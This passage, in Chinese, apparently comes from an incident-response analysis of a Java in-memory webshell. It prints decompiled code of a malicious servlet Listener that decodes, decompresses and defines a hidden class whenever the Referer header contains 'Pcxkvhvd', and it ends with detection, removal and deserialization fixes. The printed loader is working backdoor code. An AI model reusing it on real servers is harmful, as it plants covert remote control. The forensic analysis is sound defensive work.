Class var9 = (new ServletRequestEventhListener(this.getClass().getClassLoader())).g(var8);
var6.setAttribute(var7, var9.newInstance());
} catch (Exception var9) {
}
}
}
} catch (Exception var10) {
}
}
public ServletRequestEventhListener(ClassLoader var1) {
super(var1);
}
public Class g(byte[] var1) throws Exception {
ByteArrayOutputStream var2 = new ByteArrayOutputStream();
ByteArrayInputStream var3 = new ByteArrayInputStream(var1);
GZIPInputStream var4 = new GZIPInputStream(var3);
byte[] var5 = new byte[256];
int var6;
while((var6 = var4.read(var5)) >= 0) {
var2.write(var5, 0, var6);
}
byte[] var7 = var2.toByteArray();
return super.defineClass(var7, 0, var7.length);
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[])((byte[])clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str));
} catch (Exception var5) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object)null);
return (byte[])((byte[])decoder.getClass().getMethod("decode", String.class).invoke(decoder, str));
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception {
HttpServletResponse var2 = null;
try {
var2 = (HttpServletResponse)getFV(getFV(var1, "request"), "response");
} catch (Exception var6) {
try {
var2 = (HttpServletResponse)getFV(var1, "response");
} catch (Exception var5) {
}
}
return var2;
}
private static synchronized Object getFV(Object var0, String var1) throws Exception {
Field var2 = null;
Class var3 = var0.getClass();
while(var3 != Object.class) {
try {
var2 = var3.getDeclaredField(var1);
break;
} catch (NoSuchFieldException var5) {
var3 = var3.getSuperclass();
}
}
if (var2 == null) {
throw new NoSuchFieldException(var1);
} else {
var2.setAccessible(true);
return var2.get(var0);
}
}
}
这里代码逻辑很清晰,是一个自定义的Listener,并且在处理请求时判断Referer是否包含Pcxkvhvd
,包含则进入自己的逻辑(webshell)
这里对b64_str
进行base64解码、GZIP解压缩还原其代码
还原出来代码如下,又是混淆过的代码,发现使用了Crypto、Cookie等,是常见的webshell逻辑
在WebUtils
中应该还有将Listener注入进去的逻辑,这里不再继续分析
结论
至此可以得到以下结论
- 攻击者使用的是Listener型内存马
- 内存马连接特征为Referer包含Pcxkvhvd,过滤相关的流量可以定位攻击者
内存马清除
- 因为是jar包部署,可以通过agent技术动态清除Listener
- 重启应用
修复
- 禁用Objectdata反序列化
- 重写resolveClass,规定只能加载指定类即白名单机制